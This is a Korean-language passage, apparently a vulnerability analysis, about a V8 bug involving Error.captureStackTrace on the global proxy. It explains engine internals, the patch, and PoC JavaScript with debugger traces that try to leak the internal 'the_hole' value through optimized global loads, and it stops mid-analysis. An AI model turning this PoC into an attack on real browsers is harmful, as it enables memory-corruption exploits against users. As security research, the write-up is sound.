Environment Setting
Install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH
Get V8 source code
mkdir v8
cd v8
fetch v8
cd v8
git checkout f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c
gclient sync -D
Install build dependencies
./build/install-build-deps.sh
Build V8
gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false"
gn gen out/release --args="v8_no_inline=true is_debug=false"
ninja -C out/debug d8; ninja -C out/release d8
Prerequisite Knowledge
Property descriptor
JavaScript object가 가지고 있는 각각의 property들은 writable
, enumerable
, configurable
의 세 가지 descriptor를 가집니다. Object.getOwnPropertyDescriptors()
를 사용하여 모든 property들의 descriptor를 가져올 수 있고, Object.getOwnPropertyDescriptor()
를 사용하여 하나의 property의 descriptor를 가져올 수도 있습니다.
/* test.js */
let o = { a: 1, b: 2, c: 3 };
let desc_all = Object.getOwnPropertyDescriptors(o); // get descriptors of all properties
let desc_one = Object.getOwnPropertyDescriptor(o, 'a'); // get descriptor of o.a
console.log(JSON.stringify(desc_all));
console.log();
console.log(JSON.stringify(desc_one));
$ ~/v8/v8/out/debug/d8 test.js
{"a":{"value":1,"writable":true,"enumerable":true,"configurable":true},"b":{"value":2,"writable":true,"enumerable":true,"configurable":true},"c":{"value":3,"writable":true,"enumerable":true,"configurable":true}}
{"value":1,"writable":true,"enumerable":true,"configurable":true}
Property가 추가되면 세 가지 descriptor가 모두 기본적으로 true
로 설정되는 것을 확인할 수 있습니다.
Object.defineProperty()
를 사용하여 property의 descriptor를 임의로 설정할 수 있습니다.
/* test.js */
let o = { a: 0 };
Object.defineProperty(o, 'a', { value: 1, writable: false });
Object.defineProperty(o, 'b', { value: 2, enumerable: true });
let desc = Object.getOwnPropertyDescriptors(o);
console.log(JSON.stringify(desc));
$ ~/v8/v8/out/debug/d8 test.js
{"a":{"value":1,"writable":false,"enumerable":true,"configurable":true},"b":{"value":2,"writable":false,"enumerable":true,"configurable":false}}
Object.defineProperty()
로 property를 추가하는 경우는 세 가지 descriptor가 모두 기본적으로 false
로 설정되는 것을 확인할 수 있습니다.
writable
은 property의 value를 수정할 수 있는지를 나타냅니다.
/* test.js */
let o = { a: 0 };
Object.defineProperty(o, 'a', { writable: false });
o.a = 1;
console.log(o.a);
$ ~/v8/v8/out/debug/d8 test.js
0
writable
을 false
로 설정한 후 o.a
의 값을 1로 바꾸려고 시도했지만 그대로 0인 것을 확인할 수 있습니다.
enumerable
은 property의 key를 for ... in
반복문으로 탐색할 수 있는지를 나타냅니다.
/* test.js */
let o = { a: 1, b: 2, c: 3 };
Object.defineProperty(o, 'a', { enumerable: false });
for (let key in o) {
console.log(key);
}
$ ~/v8/v8/out/debug/d8 test.js
b
c
for ... in
반복문에서 enumerable
이 false
로 설정된 o.a
를 건너뛰는 것을 확인할 수 있습니다.
configurable
은 property를 삭제하거나 enumerable
을 설정할 수 있는지를 나타냅니다.
/* test.js */
let o = { a: 1 };
Object.defineProperty(o, 'a', { configurable: false });
Object.defineProperty(o, 'a', { enumerable: false });
$ ~/v8/v8/out/debug/d8 test.js
test.js:5: TypeError: Cannot redefine property: a
Object.defineProperty(o, 'a', { enumerable: false });
^
TypeError: Cannot redefine property: a
at Function.defineProperty (<anonymous>)
at test.js:5:8
o.a
의 enumerable
을 설정하려고 시도하면 에러가 발생하는 것을 확인할 수 있습니다.
/* test.js */
let o = { a: 1 };
Object.defineProperty(o, 'a', { configurable: false });
o.a = 2;
Object.defineProperty(o, 'a', { writable: false });
let desc = Object.getOwnPropertyDescriptors(o);
console.log(JSON.stringify(desc));
$ ~/v8/v8/out/debug/d8 test.js
{"a":{"value":2,"writable":false,"enumerable":true,"configurable":false}}
Property의 값을 수정하거나 writable
을 설정하는 것은 가능합니다.
/* test.js */
let o = { a: 1 };
Object.defineProperty(o, 'a', { configurable: false });
delete o.a;
console.log(o.a);
$ ~/v8/v8/out/debug/d8 test.js
1
configurable
이 false
로 설정되어 삭제가 불가능한 것을 확인할 수 있습니다.
JSGlobalProxy
JavaScript의 Proxy
는 target object에 대한 요청을 가로채서 미리 정의된 다른 동작(handler
)을 하는 object입니다. 예를 들어 다음과 같이 사용할 수 있습니다.
/* test.js */
let target = {};
let handler = {
get() {
console.log('proxy get');
},
set() {
console.log('proxy set');
}
};
let proxy = new Proxy(target, handler);
proxy.a = 1; // print 'proxy set'
console.log(proxy.a); // print 'proxy get', print 'undefined'
console.log(target.a); // print 'undefined'
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax
proxy set
proxy get
undefined
undefined
proxy.a
를 1로 설정하는 set 요청이 들어오면 handler
의 set()
을 호출하고, proxy.a
를 1로 설정하는 원래의 요청은 버려집니다. proxy.a
의 값을 가져오는 get 요청이 들어오면 handler
의 get()
을 호출하게 됩니다.
Reflect
를 사용하면 원래 의도된 요청을 그대로 처리하도록 할 수 있습니다.
/* test.js */
let target = {};
let handler = {
get(target, prop, receiver) {
console.log('proxy get');
return Reflect.get(...arguments);
},
set(target, prop, receiver) {
console.log('proxy set');
return Reflect.set(...arguments);
}
};
let proxy = new Proxy(target, handler);
proxy.a = 1; // print 'proxy set'
console.log(proxy.a); // print 'proxy get', print '1'
console.log(target.a); // print '1'
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax
proxy set
proxy get
1
1
proxy.a
를 1로 설정하는 set 요청이 들어오면 set()
을 호출하는데, 내부에서 Reflect.set()
으로 원래의 요청을 그대로 target
으로 보내서 target.a
가 1로 설정됩니다. proxy.a
의 값을 가져올 때도 마찬가지로 get()
내부에서 Reflect.get()
으로 원래의 요청을 그대로 target
으로 보내서 target.a
의 값을 가져오게 됩니다.
JSGlobalProxy
는 target
이 JSGlobalObject
인 Proxy
입니다.
/* test.js */
% DebugPrint(globalThis); // JSGlobalProxy
$ ~/v8/v8/out/debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x579000c3bf5: [JSGlobalProxy] in OldSpace
- map: 0x0579000d8381 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0579000d4061 <JSGlobalObject>
- elements: 0x057900000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- hash: 900844
- native context: 0x0579000c3c2d <NativeContext[282]>
- properties:
- All own properties (excluding elements): {}
0x579000d8381: [Map] in OldSpace
- type: JS_GLOBAL_PROXY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- may_have_interesting_symbols
- access_check_needed
- back pointer: 0x057900000251 <undefined>
- prototype_validity cell: 0x057900000ac5 <Cell value= 1>
- instance descriptors (own) #0: 0x057900000295 <DescriptorArray[0]>
- prototype: 0x0579000d4061 <JSGlobalObject>
- constructor: 0x0579000d40c5 <JSFunction (sfi = 0x579000d409d)>
- dependent code: 0x057900000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
사용자는 JavaScript에서 JSGlobalObject
에 직접 접근할 수 없기 때문에 JSGlobalProxy
를 사용해야 합니다.
/* test.js */
let a = 1;
var b = 2;
globalThis.c = 3;
console.log(a); // 1
console.log(globalThis.a); // undefined
console.log()
console.log(b); // 2
console.log(globalThis.b); // 2
console.log()
console.log(c); // 3
console.log(globalThis.c); // 3
$ ~/v8/v8/out/debug/d8 --allow-natives-syntax test.js
1
undefined
2
2
3
3
var
로 선언한 변수와 JSGlobalProxy
에 추가한 property는 똑같이 JSGlobalObject
의 property로 추가됩니다. 반면 let
으로 선언한 변수는 JSGlobalObject
에 추가되지 않고 user scope에서만 사용할 수 있습니다.
Properties in JSGlobalObject
JavaScript에서 JSGlobalObject
를 % DebugPrint()
로 볼 수 없기 때문에 Object::SetProperty()
와 JSReceiver::DeleteProperty()
에 디버깅 메시지를 추가해 줍니다.
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
StoreOrigin store_origin,
Maybe<ShouldThrow> should_throw) {
if (it->GetReceiver()->IsJSGlobalObject()) {
printf("Object::SetProperty()\n");
it->GetReceiver()->Print();
it->GetName()->Print();
value->Print();
}
...
}
/* v8/src/objects/js-objects.cc */
Maybe<bool> JSReceiver::DeleteProperty(LookupIterator* it,
LanguageMode language_mode) {
printf("JSReceiver::DeleteProperty()\n");
it->GetReceiver()->Print();
it->GetName()->Print();
...
for (; it->IsFound(); it->Next()) {
switch (it->state()) {
...
case LookupIterator::DATA:
case LookupIterator::ACCESSOR: {
...
it->GetReceiver()->Print();
printf("\n");
return Just(true);
}
}
}
return Just(true);
}
JSGlobalObject
는 property를 관리하는 방식이 일반적인 object와 다릅니다.
Properties array가 GlobalDictionary
라는 특수한 형식임을 확인할 수 있습니다.
/* v8/src/objects/dictionary.h */
class V8_EXPORT_PRIVATE GlobalDictionary
: public BaseNameDictionary<GlobalDictionary, GlobalDictionaryShape> {
public:
static inline Handle<Map> GetMap(ReadOnlyRoots roots);
DECL_CAST(GlobalDictionary)
DECL_PRINTER(GlobalDictionary)
inline Object ValueAt(InternalIndex entry);
inline Object ValueAt(PtrComprCageBase cage_base, InternalIndex entry);
inline PropertyCell CellAt(InternalIndex entry);
inline PropertyCell CellAt(PtrComprCageBase cage_base, InternalIndex entry);
inline void SetEntry(InternalIndex entry, Object key, Object value,
PropertyDetails details);
inline void ClearEntry(InternalIndex entry);
inline Name NameAt(InternalIndex entry);
inline Name NameAt(PtrComprCageBase cage_base, InternalIndex entry);
inline void ValueAtPut(InternalIndex entry, Object value);
base::Optional<PropertyCell> TryFindPropertyCellForConcurrentLookupIterator(
Isolate* isolate, Handle<Name> name, RelaxedLoadTag tag);
OBJECT_CONSTRUCTORS(
GlobalDictionary,
BaseNameDictionary<GlobalDictionary, GlobalDictionaryShape>);
};
GlobalDictionary
의 property들은 PropertyCell
의 형태로 저장됩니다.
/* v8/src/objects/property-cell.h */
class PropertyCell
: public TorqueGeneratedPropertyCell<PropertyCell, HeapObject> {
public:
// [name]: the name of the global property.
DECL_GETTER(name, Name)
// [property_details]: details of the global property.
DECL_GETTER(property_details_raw, Smi)
DECL_ACQUIRE_GETTER(property_details_raw, Smi)
inline PropertyDetails property_details() const;
inline PropertyDetails property_details(AcquireLoadTag tag) const;
inline void UpdatePropertyDetailsExceptCellType(PropertyDetails details);
// [value]: value of the global property.
DECL_GETTER(value, Object)
DECL_ACQUIRE_GETTER(value, Object)
// [dependent_code]: code that depends on the type of the global property.
DECL_ACCESSORS(dependent_code, DependentCode)
// Changes the value and/or property details.
// For global properties:
inline void Transition(PropertyDetails new_details, Handle<Object> new_value);
// For protectors:
void InvalidateProtector();
static PropertyCellType InitialType(Isolate* isolate, Object value);
// Computes the new type of the cell's contents for the given value, but
// without actually modifying the details.
static PropertyCellType UpdatedType(Isolate* isolate, PropertyCell cell,
Object value, PropertyDetails details);
// Prepares property cell at given entry for receiving given value and sets
// that value. As a result the old cell could be invalidated and/or dependent
// code could be deoptimized. Returns the (possibly new) property cell.
static Handle<PropertyCell> PrepareForAndSetValue(
Isolate* isolate, Handle<GlobalDictionary> dictionary,
InternalIndex entry, Handle<Object> value, PropertyDetails details);
void ClearAndInvalidate(ReadOnlyRoots roots);
static Handle<PropertyCell> InvalidateAndReplaceEntry(
Isolate* isolate, Handle<GlobalDictionary> dictionary,
InternalIndex entry, PropertyDetails new_details,
Handle<Object> new_value);
// Whether or not the {details} and {value} fit together. This is an
// approximation with false positives.
static bool CheckDataIsCompatible(PropertyDetails details, Object value);
DECL_PRINTER(PropertyCell)
DECL_VERIFIER(PropertyCell)
using BodyDescriptor = FixedBodyDescriptor<kNameOffset, kSize, kSize>;
TQ_OBJECT_CONSTRUCTORS(PropertyCell)
private:
friend class Factory;
DECL_SETTER(name, Name)
DECL_SETTER(value, Object)
DECL_RELEASE_SETTER(value, Object)
DECL_SETTER(property_details_raw, Smi)
DECL_RELEASE_SETTER(property_details_raw, Smi)
#ifdef DEBUG
// Whether the property cell can transition to the given state. This is an
// approximation with false positives.
bool CanTransitionTo(PropertyDetails new_details, Object new_value) const;
#endif // DEBUG
};
메모리 상에서 보면 다음과 같습니다.
이 상태에서 a
를 삭제하면 GlobalDictionary
에서 PropertyCell
의 주소는 삭제되지만 PropertyCell
자체는 메모리에 그대로 남아 있고 value
만 삭제됩니다. 이때 삭제된 value
자리에는 the_hole
이 들어가게 됩니다.
Stack trace API
JavaScript에서 error가 throw되면 V8은 그 시점의 stack trace를 수집합니다. Stack trace를 수집하는 과정은 Error
의 captureStackTrace()
가 처리합니다.
/* test.js */
let o = {};
Error.captureStackTrace(o);
% DebugPrint(o);
o
에 대해 Error.captureStackTrace()
를 호출하여 stack trace를 수집하면, o
에 error_stack_symbol
과 stack
property가 추가됩니다. error_stack_symbol
은 수집된 stack trace가 저장되는 array로, 각각의 element들이 stack trace에서 한 줄씩에 해당합니다. o.stack
은 error_stack_symbol
에 접근하기 위한 accessor로, 사용자가 o.stack
에 최초로 접근하는 순간 error_stack_symbol
에 저장된 stack trace를 형식에 맞게 문자열 형태로 구성하여 error_stack_symbol
에 다시 저장합니다.
V8이 stack trace를 기본적으로 문자열 형태로 저장하는 이유는 다른 브라우저들과의 호환성 때문입니다. 사용자는 Error.prepareStackTrace()
함수를 정의하여 stack
에 접근했을 때 어떤 동작을 할지 임의로 정할 수 있습니다. Error.prepareStackTrace()
는 stack
에 대한 Proxy
처럼 동작합니다.
/* test.js */
let o = {};
Error.captureStackTrace(o);
Error.prepareStackTrace = (error, structuredStackTrace) => {
console.log('hello');
}
console.log(o.stack);
$ ~/v8/v8/out/debug/d8 --allow-natives-syntax test.js
hello
undefined
o.stack
에 접근하여 출력하려고 하면 미리 정의해 둔 Error.prepareStackTrace()
가 실행되어 hello
가 출력되고, stack trace를 저장하는 동작이 없기 때문에 o.stack
은 undefined
를 반환합니다.
Dependent code
Dependent code는 JIT 컴파일된 함수의 deoptimization이 진행될 수 있는 가능성을 저장하고 있는 배열입니다.
/* v8/src/objects/dependent-code.h */
// Dependent code is conceptually the list of {Code, DependencyGroup} tuples
// associated with an object, where the dependency group is a reason that could
// lead to a deopt of the corresponding code.
//
// Implementation details: DependentCode is a weak array list containing
// entries, where each entry consists of a (weak) Code object and the
// DependencyGroups bitset as a Smi.
//
// Note the underlying weak array list currently never shrinks physically (the
// contents may shrink).
// TODO(jgruber): Consider adding physical shrinking.
class DependentCode : public WeakArrayList {
...
Code
와 DependencyGroup
가 번갈아서 저장되는 구조이며, Code
는 최적화된 함수의 코드이고 DependencyGroup
은 deoptimization의 원인에 해당합니다.
/* v8/src/objects/dependent-code.h */
enum DependencyGroup {
// Group of code objects that embed a transition to this map, and depend on
// being deoptimized when the transition is replaced by a new version.
kTransitionGroup = 1 << 0,
// Group of code objects that omit run-time prototype checks for prototypes
// described by this map. The group is deoptimized whenever the following
// conditions hold, possibly invalidating the assumptions embedded in the
// code:
// a) A fast-mode object described by this map changes shape (and
// transitions to a new map), or
// b) A dictionary-mode prototype described by this map changes shape, the
// const-ness of one of its properties changes, or its [[Prototype]]
// changes (only the latter causes a transition).
kPrototypeCheckGroup = 1 << 1,
// Group of code objects that depends on global property values in property
// cells not being changed.
kPropertyCellChangedGroup = 1 << 2,
// Group of code objects that omit run-time checks for field(s) introduced
// by this map, i.e. for the field type.
kFieldTypeGroup = 1 << 3,
kFieldConstGroup = 1 << 4,
kFieldRepresentationGroup = 1 << 5,
// Group of code objects that omit run-time type checks for initial maps of
// constructors.
kInitialMapChangedGroup = 1 << 6,
// Group of code objects that depends on tenuring information in
// AllocationSites not being changed.
kAllocationSiteTenuringChangedGroup = 1 << 7,
// Group of code objects that depends on element transition information in
// AllocationSites not being changed.
kAllocationSiteTransitionChangedGroup = 1 << 8,
// IMPORTANT: The last bit must fit into a Smi, i.e. into 31 bits.
};
Analysis
패치의 변경 사항을 보면, JSGlobalProxy
가 Error.captureStackTrace()
의 인자로 전달되었을 경우 아무 동작을 하지 않고 undefined
를 반환하도록 변경되었습니다.
diff --git a/src/builtins/builtins-error.cc b/src/builtins/builtins-error.cc
index 01e0162..14c0602 100644
--- a/src/builtins/builtins-error.cc
+++ b/src/builtins/builtins-error.cc
@@ -35,6 +35,9 @@
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kInvalidArgument, object_obj));
}
+ if (object_obj->IsJSGlobalProxy()) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
Handle<JSObject> object = Handle<JSObject>::cast(object_obj);
Handle<Object> caller = args.atOrUndefined(isolate, 2);
JSGlobalProxy
에 대해 Error.captureStackTrace()
로 stack trace를 수집하면 JSGlobalObject
에 stack
과 error_stack_symbol
이 추가됩니다.
PoC
Optimization - Make stack to be loaded from PropertyCell
Turbofan이 함수를 컴파일할 때, 전역 변수(JSGlobalObject
의 property)에 대한 접근은 JSNativeContextSpecialization::ReduceGlobalAccess()
에서 처리합니다.
/* v8/src/compiler/js-native-context-specialization.cc */
Reduction JSNativeContextSpecialization::ReduceGlobalAccess(
Node* node, Node* lookup_start_object, Node* receiver, Node* value,
NameRef name, AccessMode access_mode, Node* key,
PropertyCellRef property_cell, Node* effect) {
...
if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {
// Load from non-configurable, read-only data property on the global
// object can be constant-folded, even without deoptimization support.
if (!property_details.IsConfigurable() && property_details.IsReadOnly()) {
value = access_mode == AccessMode::kHas
? jsgraph()->TrueConstant()
: jsgraph()->Constant(property_cell_value, broker());
} else {
...
// Load from constant/undefined global property can be constant-folded.
if (property_details.cell_type() == PropertyCellType::kConstant ||
property_details.cell_type() == PropertyCellType::kUndefined) {
value = access_mode == AccessMode::kHas
? jsgraph()->TrueConstant()
: jsgraph()->Constant(property_cell_value, broker());
DCHECK(!property_cell_value.IsHeapObject() ||
property_cell_value.AsHeapObject().map(broker()).oddball_type(
broker()) != OddballType::kHole);
} else {
DCHECK_NE(AccessMode::kHas, access_mode);
// Load from constant type cell can benefit from type feedback.
OptionalMapRef map;
Type property_cell_value_type = Type::NonInternal();
MachineRepresentation representation = MachineRepresentation::kTagged;
if (property_details.cell_type() == PropertyCellType::kConstantType) {
// Compute proper type based on the current value in the cell.
if (property_cell_value.IsSmi()) {
property_cell_value_type = Type::SignedSmall();
representation = MachineRepresentation::kTaggedSigned;
} else if (property_cell_value.IsHeapNumber()) {
property_cell_value_type = Type::Number();
representation = MachineRepresentation::kTaggedPointer;
} else {
MapRef property_cell_value_map =
property_cell_value.AsHeapObject().map(broker());
property_cell_value_type =
Type::For(property_cell_value_map, broker());
representation = MachineRepresentation::kTaggedPointer;
// We can only use the property cell value map for map check
// elimination if it's stable, i.e. the HeapObject wasn't
// mutated without the cell state being updated.
if (property_cell_value_map.is_stable()) {
dependencies()->DependOnStableMap(property_cell_value_map);
map = property_cell_value_map;
}
}
}
value = effect = graph()->NewNode(
simplified()->LoadField(ForPropertyCellValue(
representation, property_cell_value_type, map, name)),
jsgraph()->Constant(property_cell, broker()), effect, control);
}
}
} else if (access_mode == AccessMode::kStore) {
...
} else {
return NoChange();
}
ReplaceWithValue(node, value, effect, control);
return Replace(value);
}
Property의 configurable
과 writable
이 모두 false
인 경우, 또는 property의 cell_type
이 kConstant
이거나 kUndefined
인 경우에는 property의 값을 가져오는 과정이 생략되고 상수로 최적화됩니다.
그 외의 경우, 다음의 코드가 실행됩니다.
/* v8/src/compiler/js-native-context-specialization.cc */
value = effect = graph()->NewNode(
simplified()->LoadField(ForPropertyCellValue(
representation, property_cell_value_type, map, name)),
jsgraph()->Constant(property_cell, broker()), effect, control);
PropertyCell
의 주소를 상수(HeapConstant
)로 처리하고, 그 주소로 직접 접근하여 value
를 가져오도록 최적화됩니다.
/* test.js */
globalThis.gvar = 1;
gvar = {}; // cell_type == kMutable
function load_global() {
let a = gvar;
return a;
}
% PrepareFunctionForOptimization(load_global);
load_global();
% OptimizeFunctionOnNextCall(load_global);
load_global();
위의 코드는 JSGlobalObject
에 gvar
property를 추가하고 value
를 1에서 {}
로 바꿉니다. 이렇게 하면 type이 바뀌기 때문에 cell_type
이 kMutable
이 되고, 이 상태에서 load_global()
을 최적화시키면 gvar
의 PropertyCell
의 주소를 상수(HeapConstant
)로 처리하게 됩니다.
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-opt --trace-deopt --trace-turbo
Concurrent recompilation has been disabled for tracing.
[manually marking 0x3dc1000dae89 <JSFunction load_global (sfi = 0x3dc1000dad19)> for optimization to TURBOFAN, ConcurrencyMode::kSynchronous]
[compiling method 0x3dc1000dae89 <JSFunction load_global (sfi = 0x3dc1000dad19)> (target TURBOFAN), mode: ConcurrencyMode::kSynchronous]
---------------------------------------------------
Begin compiling method load_global using TurboFan
---------------------------------------------------
Finished compiling method load_global using TurboFan
[completed compiling 0x3dc1000dae89 <JSFunction load_global (sfi = 0x3dc1000dad19)> (target TURBOFAN) - took 0.308, 40.473, 7.185 ms]
Turbolizer(Inlining phase)로 확인해 보면, stack
을 load할 때 HeapConstant
(PropertyCell
의 주소)에 직접 접근해서 값을 가져오는 것을 확인할 수 있습니다.
이 상태에서 gvar
를 삭제하면 JSGlobalObject
에서는 삭제되지만 PropertyCell
자체는 메모리에 그대로 남아 있고 value
에만 the_hole
이 들어가기 때문에, load_global()
이 the_hole
을 반환할 것이라고 추측할 수 있습니다.
/* test.js */
globalThis.gvar = 1; // cell_type == kConstant
gvar = {}; // cell_type == kMutable
function load_global() {
let a = gvar;
return a;
}
% PrepareFunctionForOptimization(load_global);
load_global();
% OptimizeFunctionOnNextCall(load_global);
load_global();
delete gvar;
let maybe_hole = load_global();
% DebugPrint(maybe_hole);
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-opt --trace-deopt --trace-turbo
Concurrent recompilation has been disabled for tracing.
[manually marking 0x383c000daf09 <JSFunction load_global (sfi = 0x383c000dad51)> for optimization to TURBOFAN, ConcurrencyMode::kSynchronous]
[compiling method 0x383c000daf09 <JSFunction load_global (sfi = 0x383c000dad51)> (target TURBOFAN), mode: ConcurrencyMode::kSynchronous]
---------------------------------------------------
Begin compiling method load_global using TurboFan
---------------------------------------------------
Finished compiling method load_global using TurboFan
[completed compiling 0x383c000daf09 <JSFunction load_global (sfi = 0x383c000dad51)> (target TURBOFAN) - took 0.333, 39.914, 6.830 ms]
[marking dependent code 0x383c000db0d9 <Code TURBOFAN> (0x383c000dad51 <SharedFunctionInfo load_global>) (opt id 0) for deoptimization, reason: code dependencies]
test.js:7: ReferenceError: gvar is not defined
let a = gvar;
^
ReferenceError: gvar is not defined
at load_global (test.js:7:13)
at test.js:17:18
그러나 예상과 다르게, deoptimization이 진행되고 gvar is not defined
에러가 발생합니다.
Avoid deoptimization
/* test.js */
globalThis.gvar = 1; // cell_type == kConstant
gvar = {}; // cell_type == kMutable
function load_global() {
let a = gvar;
return a;
}
% PrepareFunctionForOptimization(load_global);
load_global();
% OptimizeFunctionOnNextCall(load_global);
load_global();
% DebugPrint(load_global);
% SystemBreak();
delete gvar;
let maybe_hole = load_global();
% DebugPrint(maybe_hole);
GDB에서 실행시키고 deoptimization이 진행되는 과정을 분석해 봅시다.
컴파일된 함수의 주소에 breakpoint를 걸고 실행시키다 보면,
중간에 Builtins_CompileLazyDeoptimizedCode()
로 점프하여 deoptimization이 진행되는 것을 확인할 수 있습니다.
이 시점에서 rbx
는 load_global()
의 code
의 주소이고, rbx+0x17
에 저장된 값은 code
의 FLAGS_BIT_FIELDS
입니다.
/* v8/src/objects/code.h */
// Flags layout.
#define FLAGS_BIT_FIELDS(V, _) \
V(KindField, CodeKind, 4, _) \
V(IsTurbofannedField, bool, 1, _) \
/* Steal bits from here if needed: */ \
V(StackSlotsField, int, 24, _) \
V(MarkedForDeoptimizationField, bool, 1, _) \
V(EmbeddedObjectsClearedField, bool, 1, _) \
V(CanHaveWeakObjectsField, bool, 1, _)
DEFINE_BIT_FIELDS(FLAGS_BIT_FIELDS)
상위 3번째 비트는 MarkedForDeoptimizationField
입니다. 즉, deoptimization 대상임을 어딘가에서 mark해 두고, 런타임에 lazy compile을 진행하는 것입니다.
이 플래그가 어디서 설정되는지 확인하기 위해 watchpoint를 걸고 실행시켜 보면,
JSReceiver::DeleteProperty()
에서 설정되는 것을 확인할 수 있습니다. 즉, delete gvar
이 실행될 때입니다.
/* v8/src/objects/js-objects.cc */
void JSReceiver::DeleteNormalizedProperty(Handle<JSReceiver> object,
InternalIndex entry)
DCHECK(!object->HasFastProperties());
Isolate* isolate = object->GetIsolate();
DCHECK(entry.is_found());
if (object->IsJSGlobalObject()) {
// If we have a global object, invalidate the cell and remove it from the
// global object's dictionary.
Handle<GlobalDictionary> dictionary(
JSGlobalObject::cast(*object).global_dictionary(kAcquireLoad), isolate);
Handle<PropertyCell> cell(dictionary->CellAt(entry), isolate);
Handle<GlobalDictionary> new_dictionary =
GlobalDictionary::DeleteEntry(isolate, dictionary, entry);
JSGlobalObject::cast(*object).set_global_dictionary(*new_dictionary,
kReleaseStore);
cell->ClearAndInvalidate(ReadOnlyRoots(isolate));
} else {
...
}
}
JSReceiver::DeleteNormalizedProperty()
에서 object
가 JSGlobalObject
이면 ClearAndInvalidate()
를 호출합니다. 그 이후의 실행 흐름을 따라가 보면 다음과 같습니다.
/* v8/src/objects/objects.cc */
void PropertyCell::ClearAndInvalidate(ReadOnlyRoots roots) {
DCHECK(!value().IsTheHole(roots));
PropertyDetails details = property_details();
details = details.set_cell_type(PropertyCellType::kConstant);
Transition(details, roots.the_hole_value_handle());
// TODO(11527): pass Isolate as an argument.
Isolate* isolate = GetIsolateFromWritableObject(*this);
DependentCode::DeoptimizeDependencyGroups(
isolate, *this, DependentCode::kPropertyCellChangedGroup);
}
/* v8/src/objects/dependent-code-inl.h */
template <typename ObjectT>
void DependentCode::DeoptimizeDependencyGroups(Isolate* isolate, ObjectT object,
DependencyGroups groups) {
// Shared objects are designed to never invalidate code.
DCHECK(!object.InSharedHeap());
object.dependent_code().DeoptimizeDependencyGroups(isolate, groups);
}
/* v8/src/objects/dependent-code.cc */
void DependentCode::DeoptimizeDependencyGroups(
Isolate* isolate, DependentCode::DependencyGroups groups) {
DisallowGarbageCollection no_gc_scope;
bool marked_something = MarkCodeForDeoptimization(isolate, groups);
if (marked_something) {
DCHECK(AllowCodeDependencyChange::IsAllowed());
Deoptimizer::DeoptimizeMarkedCode(isolate);
}
}
/* v8/src/objects/dependent-code.cc */
bool DependentCode::MarkCodeForDeoptimization(
Isolate* isolate, DependentCode::DependencyGroups deopt_groups) {
DisallowGarbageCollection no_gc;
bool marked_something = false;
IterateAndCompact([&](Code code, DependencyGroups groups) {
if ((groups & deopt_groups) == 0) return false;
if (!code.marked_for_deoptimization()) {
code.SetMarkedForDeoptimization(isolate, "code dependencies");
marked_something = true;
}
return true;
});
return marked_something;
}
/* v8/src/objects/dependent-code.cc */
void DependentCode::IterateAndCompact(const IterateAndCompactFn& fn) {
DisallowGarbageCollection no_gc;
int len = length();
if (len == 0) return;
// We compact during traversal, thus use a somewhat custom loop construct:
//
// - Loop back-to-front s.t. trailing cleared entries can simply drop off
// the back of the list.
// - Any cleared slots are filled from the back of the list.
int i = len - kSlotsPerEntry;
while (i >= 0) {
MaybeObject obj = Get(i + kCodeSlotOffset);
if (obj->IsCleared()) {
len = FillEntryFromBack(i, len);
i -= kSlotsPerEntry;
continue;
}
if (fn(Code::cast(obj->GetHeapObjectAssumeWeak()),
static_cast<DependencyGroups>(
Get(i + kGroupsSlotOffset).ToSmi().value()))) {
len = FillEntryFromBack(i, len);
}
i -= kSlotsPerEntry;
}
set_length(len);
}
DependentCode::IterateAndCompact()
는 dependent code가 존재하면 인자로 전달받은 함수 fn
을 호출합니다. DependentCode::MarkCodeForDeoptimization()
에서 인자로 전달한 fn
을 보면,
[&](Code code, DependencyGroups groups) {
if ((groups & deopt_groups) == 0) return false;
if (!code.marked_for_deoptimization()) {
code.SetMarkedForDeoptimization(isolate, "code dependencies");
marked_something = true;
}
return true;
}
먼저 groups
와 deopt_groups
를 비교하는데, 이것은 deoptimization의 reason
들 중 현재 상황에 해당하는 것이 있는지를 찾는 과정입니다. 만약 없으면 바로 false
를 반환하고, 있으면 MarkedForDeoptimizationField
플래그를 설정합니다.
다음과 같이 디버깅 메시지를 추가하고 실행시켜 보면,
/* v8/src/objects/dependent-code.cc */
bool DependentCode::MarkCodeForDeoptimization(
Isolate* isolate, DependentCode::DependencyGroups deopt_groups) {
DisallowGarbageCollection no_gc;
bool marked_something = false;
int len = length();
for (int i = 0; i < len; i++) {
Get(i).Print();
}
printf("\n");
IterateAndCompact([&](Code code, DependencyGroups groups) {
...
}
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-opt --trace-deopt
...
[weak] 0x2351000db0d9: [Code] in OldSpace
...
Smi: 0x4 (4)
[marking dependent code 0x2351000db0d9 <Code TURBOFAN> (0x2351000dad51 <SharedFunctionInfo load_global>) (opt id 0) for deoptimization, reason: code dependencies]
...
/* v8/src/objects/dependent-code.h */
class DependentCode : public WeakArrayList {
public:
DECL_CAST(DependentCode)
enum DependencyGroup {
...
// Group of code objects that depends on global property values in property
// cells not being changed.
kPropertyCellChangedGroup = 1 << 2,
...
};
DependencyGroup
이 kPropertyCellChangedGroup
임을 확인할 수 있습니다. 즉, PropertyCell
이 변할 수 있는 경우(ReadOnly
가 아닌 경우)에 설정되는 dependent code입니다. 이 과정을 코드에서 따라가 보면 다음과 같습니다.
/* v8/src/compiler/compilation-dependencies.cc */
bool CompilationDependencies::Commit(Handle<Code> code) {
if (!PrepareInstall()) return false;
{
PendingDependencies pending_deps(zone_);
DisallowCodeDependencyChange no_dependency_change;
for (const CompilationDependency* dep : dependencies_) {
// Check each dependency's validity again right before installing it,
